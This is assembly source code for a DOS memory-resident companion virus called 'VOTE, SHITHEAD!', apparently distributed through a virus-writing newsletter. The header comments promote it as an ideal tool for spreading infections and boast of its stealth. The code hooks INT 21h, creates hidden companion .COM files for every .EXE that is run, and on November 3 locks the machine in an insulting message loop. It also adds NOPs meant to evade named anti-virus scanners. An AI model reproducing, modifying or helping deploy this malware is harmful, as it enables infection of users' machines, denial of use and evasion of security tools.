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320 lines
11 KiB
NASM
320 lines
11 KiB
NASM
;****************************************************************************
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;* VOTE, SHITHEAD! virus Edited by URNST KOUCH for the Crypt Newsletter 7.
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;*
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;* TASM/MASM compatible source listing
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;*
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;* VOTE, SHITHEAD is a resident, companion virus based upon Little
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;* Brother code and library .asm routines extracted from Nowhere Man's VCL.
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;* It is also 'patched' with three 'nops' (they are commented) which
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;* effectively blind a number of a-v scanners. This simple alteration
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;* demonstrates a practical benefit of source code possession: quick
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;* generation of different virus strains becomes a task within anyone's
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;* reach. The only tools needed are a number of virus scanners and patience.
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;*
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;* In any case, the VOTE virus is just the ideal sample needed for
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;* judicious virus action. It is a PERFECT tool for viral spreading for
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;* a number of reasons. First, it is a FAST infector. Once resident
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;* VOTE will create a companion file for ANY .EXE executed on ANY drive
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;* and it will do it so quickly that most users, even suspicious ones,
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;* will not notice any slowdown or glitches in machine operation.
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;* Second, 'companion-ed' .EXE's will continue to load and function
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;* properly when VOTE is resident. At the start of the day's computing,
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;* the first 'companion-ed' .EXE executed will misfire ONCE as the virus
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;* becomes resident. If it is re-called it will function perfectly.
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;* Third, VOTE like the INSUFF viruses in the last newsletter strikes
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;* directly at anti-virus suites vulnerable to 'spawning' infections (many
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;* no-names, CPAV, NAV) and creates 'hidden' companion files, an improvement
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;* over the original virus's modus operandi which left them out in plane
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;* sight in the directory. Last, VOTE is very small. In RAM, it is not
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;* discernible, taking up slightly less that 0.25k. Characteristically,
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;* this is NOT reported by a mem /c display. In fact,
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;* VOTE is almost invisible to any number of standard diagnostic
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;* tests. Memory maps by QEMM and Norton's SYSINFO will
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;* report INT 21 hooked differently. But unless the user can compare
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;* an uncontaminated INTERRUPT report with one when the virus IS present,
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;* it's unlikely he'll know anything is different. Even then, VOTE is hard
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;* to notice.
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;*
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;* On election day, November 3rd, VOTE will lock an infected machine into
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;* a loop as it displays a "DID YOU VOTE, SHITHEAD??" query repetitively
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;* across the monitor. Computing will be impossible on Nov. 3rd
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;* unless VOTE is removed from the machine, a task accomplished by unmasking
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;* all the hidden .COMfiles and deleting them while
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;* the virus is NOT resident. At all other times, VOTE is almost completely
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;* transparent.
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;****************************************************************************
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code segment
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assume cs:code,ds:code,es:nothing
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.RADIX 16
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oi21 equ endit
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nameptr equ endit+4
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DTA equ endit+8
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;****************************************************************************
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;* Check for activation date, then proceed to installation!
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;****************************************************************************
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org 100h
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begin:
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call get_day ; Get the day, DOS time/date grab
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cmp ax,0003h ; Did the function return the 3rd?
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jne realstrt ; If equal, continue along stream
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call get_month ; Get the month, DOS time/date grab
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cmp ax,000Bh ; Did the function return November (11)?
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jne realstrt ; If equal, continue to blooie; if not
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; skip to loading of virus
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blooie: mov dx, offset shithead ;load 'shithead' message
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mov ah,9 ;display it and loop
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int 21h ;endlessly until
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jmp blooie ;user becomes ill and reboots
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realstrt: mov ax,0044h ;move VOTE SHITHEAD to empty hole in RAM
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nop ;a 'nop' to confuse tbSCAN
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mov es,ax
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nop ;a 'nop' to confuse Datatechnik's AVscan
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mov di,0100h
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mov si,di
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mov cx,endit - begin ;length of SHITHEAD into cx
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rep movsb
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mov ds,cx ;get original int21 vector
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mov si,0084h
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mov di,offset oi21
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mov dx,offset ni21
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lodsw
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cmp ax,dx ;check to see if virus is around
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je cancel ; by comparing new interrupt (ni21)
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stosw ; vector to current, if it looks
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movsw ; the same 'cancel' operation
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push es ;set vector to new handler
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pop ds
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mov ax,2521h
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int 21h
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cancel: ret
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;****************************************************************************
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;* File-extension masks for checking and naming routines;message text
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;****************************************************************************
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EXE_txt db 'EXE',0
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COM_txt db 'COM',0
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SHITHEAD db "DID YOU VOTE, SHITHEAD??"
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db 07h,07h,'$'
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;****************************************************************************
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;* Interrupt handler 24
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;****************************************************************************
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ni24: mov al,03 ;virus critical error handler
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iret ;prevents embarrassing messages
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;on attempted writes to protected disks
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;****************************************************************************
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;* Interrupt handler 21
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;****************************************************************************
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ni21: pushf
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push es
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push ds
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push ax
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push bx
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push dx
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cmp ax,4B00h ;now that we're installed
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jne exit ; check for 4B00, DOS excutions
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doit: call infect ; if one comes by, grab it
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exit: pop dx ; if anything else, goto sleep
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pop bx
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pop ax
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pop ds
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pop es
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popf
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jmp dword ptr cs:[oi21] ;call to old int-handler
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;****************************************************************************
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;* Try to infect a file (ptr to ASCIIZ-name is DS:DX)
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;****************************************************************************
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infect: cld
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mov word ptr cs:[nameptr],dx ;save the ptr to the filename
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mov word ptr cs:[nameptr+2],ds
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mov ah,2Fh ;get old DTA
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int 21
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push es
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push bx
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push cs ;set new DTA
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pop ds
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mov dx,offset DTA
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mov ah,1Ah
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int 21
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call searchpoint ; here's where we grab a name
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push di ; for ourselves
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mov si,offset COM_txt ;is extension 'COM'?
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mov cx,3
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rep cmpsb
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pop di
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jz do_com ;if so, go to our .COM routine
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mov si,offset EXE_txt ;is extension 'EXE'?
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nop ;'nop' to confuse SCAN v85b.
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mov cl,3
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rep cmpsb
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jnz return
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do_exe: mov si,offset COM_txt ;change extension to COM
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nop ;another 'nop' to confuse SCAN
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call change_ext
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mov ax,3300h ;get ctrl-break flag
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nop
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int 21
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push dx
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cwd ;clear the flag
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inc ax
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push ax
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int 21
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mov ax,3524h ;get int24 vector
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int 21
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push bx
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push es
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push cs ;set int24 vector to new handler
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pop ds ;virus handles machine
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mov dx,offset ni24 ;exits on attempted writes
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mov ah,25h ;to write-protected disks
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push ax
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int 21
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lds dx,dword ptr [nameptr] ;create the virus (with name of .EXE target)
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mov ah,03Ch ; DOS create file function
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mov cx,00100111b ; CX holds file attributes (all)
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int 021h ; makes it hidden/system/read-only
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; do it
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xchg bx,ax ;save handle
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push cs
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pop ds
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mov cx,endit - begin ; write the virus to the created file
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mov dx,offset begin ; CX contains length
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mov ah,40h ; write to file function
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int 21
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mov ah,3Eh ;close the file
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int 21
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return1: pop ax ;restore int24 vector
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pop ds
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pop dx
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int 21
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pop ax ;restore ctrl-break flag
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pop dx
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int 21
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mov si,offset EXE_txt ;change extension to EXE
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call change_ext ;execute EXE-file
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return: mov ah,1Ah ;restore old DTA
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pop dx
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pop ds
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int 21
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ret
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do_com: call findfirst ;is the COM-file a virus?
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cmp word ptr cs:[DTA+1Ah],endit - begin ;compare it to virus length
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jne return ;no, so execute COM-file
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mov si,offset EXE_txt ;does the EXE-variant exist?
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call change_ext
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call findfirst
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jnc return ;yes, execute EXE-file
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mov si,offset COM_txt ;change extension to COM
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call change_ext
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jmp short return ;execute COM-file
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;****************************************************************************
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;* Search beginning of extension for name we will usurp
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;****************************************************************************
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searchpoint: les di,dword ptr cs:[nameptr]
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mov ch,0FFh
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mov al,0
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repnz scasb
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sub di,4
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ret
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;****************************************************************************
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;* Change the extension of the filename (CS:SI -> ext)
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;****************************************************************************
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change_ext: call searchpoint
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push cs
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pop ds
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movsw
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movsw
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ret
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;****************************************************************************
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;* Find the file
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;****************************************************************************
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findfirst: lds dx,dword ptr [nameptr]
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mov cl,27h
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mov ah,4Eh
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int 21
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ret
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;****************************************************************************
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;* Get the day off the system for activation checking
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;****************************************************************************
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get_day:
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mov ah,02Ah ; DOS get date function
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int 021h
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mov al,dl ; Copy day into AL
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cbw ; Sign-extend AL into AX
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ret ; Get back to caller
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;*************************************************************************
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;* Get the month off the system for activation checking
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;*************************************************************************
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get_month:
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mov ah,02Ah ; DOS get date function
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int 021h
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mov al,dh ; Copy month into AL
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cbw ; Sign-extend AL into AX
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ret ; Get back to caller
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endit:
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code ends
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end begin
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